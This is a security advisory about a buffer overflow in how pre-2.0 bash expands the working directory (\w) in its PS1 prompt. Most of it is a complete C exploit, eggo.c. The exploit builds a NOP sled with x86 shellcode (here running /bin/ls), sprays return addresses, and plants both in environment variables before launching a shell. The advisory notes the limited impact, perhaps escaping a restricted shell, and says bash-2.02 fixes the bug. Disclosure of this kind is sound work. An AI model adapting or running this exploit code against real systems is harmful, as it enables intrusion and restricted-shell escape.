COMMAND

    /bin/bash

SYSTEMS AFFECTED

    Systems runninh bash pre and 2.0

PROBLEM

    Razvan  Dragomirescu  posted  following  about  a  buffer overflow
    condition in  the way  "bash" treats  the expansion  of the prompt
    line (as specified by PS1). Usually people use something like:

	PS1=\h:\w\$

    which  is  very  nice.  \h  is  the  host  name, \w is the working
    directory and \$ is either '#' or '$', depending on your UID.  The
    problem  is  with  \w.  It  appears  it  reads the current working
    directory from the PWD environment  variable.  It then adds  it to
    the prompt line, which may  have a fixed length, somewhere  around
    1024 bytes (not confirmed yet source).

    (The exploit  code is  heavily based  on AlephOne's  "Smashing the
    Stack for Fun and Profit". Razvan has changed the string "/bin/sh"
    to "/bin/ls".   A shell  spawning another  shell wouldn't  do much
    magic.

    The only problem with this is that there is no many uses for  this
    overflow. "bash" is not a setuid program.  Maybe you could  bypass
    a restricted shell based on bash, or create directories with  very
    long names in order  to get past the  end of the buffer.   Exploit
    follows:

    --eggo.c--

    #include <stdlib.h>
    #include <stdio.h>
    #include <unistd.h>
    #define NOP_SIZE        1
    #define DEFAULT_OFFSET                    0
    #define DEFAULT_BUFFER_SIZE            2048
    #define DEFAULT_EGG_SIZE               2048

    char nop[] = "\x90";
    char shellcode[] =
      "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
      "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
      "\x80\xe8\xdc\xff\xff\xff/bin/ls";

    unsigned long get_sp(void) {
       __asm__("movl %esp,%eax");
    }

    void usage(void);

    void main(int argc, char *argv[]) {
      char *ptr, *bof, *egg;
      long *addr_ptr, addr;
      int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
      int i, n, m, c, align=0, eggsize=DEFAULT_EGG_SIZE;

      while ((c = getopt(argc, argv, "a:b:e:o:")) != EOF)
	switch (c) {
	  case 'a':
	    align = atoi(optarg);
	    break;
	  case 'b':
	    bsize = atoi(optarg);
	    break;
	  case 'e':
	    eggsize = atoi(optarg);
	    break;
	  case 'o':
	    offset = atoi(optarg);
	    break;
	  case '?':
	    usage();
	    exit(0);
	}

      if (strlen(shellcode) > eggsize) {
	printf("Shellcode is larger the the egg.\n");
	exit(0);
      }

      if (!(bof = malloc(bsize))) {
	printf("Can't allocate memory.\n");
	exit(0);
      }
      if (!(egg = malloc(eggsize))) {
	printf("Can't allocate memory.\n");
	exit(0);
      }

      addr = get_sp() - offset;
      printf("[ Buffer size:\t%d\t\tEgg size:\t%d\tAligment:\t%d\t]\n",
	bsize, eggsize, align);
      printf("[ Address:\t0x%x\tOffset:\t\t%d\t\t\t\t]\n", addr, offset);

    addr_ptr = (long *) bof;
      for (i = 0; i < bsize; i+=4)
	*(addr_ptr++) = addr;

      ptr = egg;
      for (i = 0; i < eggsize - strlen(shellcode) - NOP_SIZE; i+=NOP_SIZE)
	for (n = 0; n < NOP_SIZE; n++) {
	  m = (n + align) % NOP_SIZE;
	    *(ptr++) = nop[m];
	}

      for (i = 0; i < strlen(shellcode); i++)
	*(ptr++) = shellcode[i];

      bof[bsize - 1] = '\0';
      egg[eggsize - 1] = '\0';

      memcpy(egg,"EGG=",4);
      putenv(egg);

      memcpy(bof,"BOF=",4);
      putenv(bof);
      system("/bin/sh");
    }

    void usage(void) {
      (void)fprintf(stderr,
	"usage: eggo [-a <alignment>] [-b <buffersize>] [-e <eggsize>] [-o
    <offset>]\n");
    }

    --end of eggo.c--

    Special  thanks  to  Doru  Petrescu  who first noticed the problem
    while "cd"-ing  to _very_  long paths  for the  fun of seeing bash
    crash.

SOLUTION

    This seems to be fixed in bash-2.02.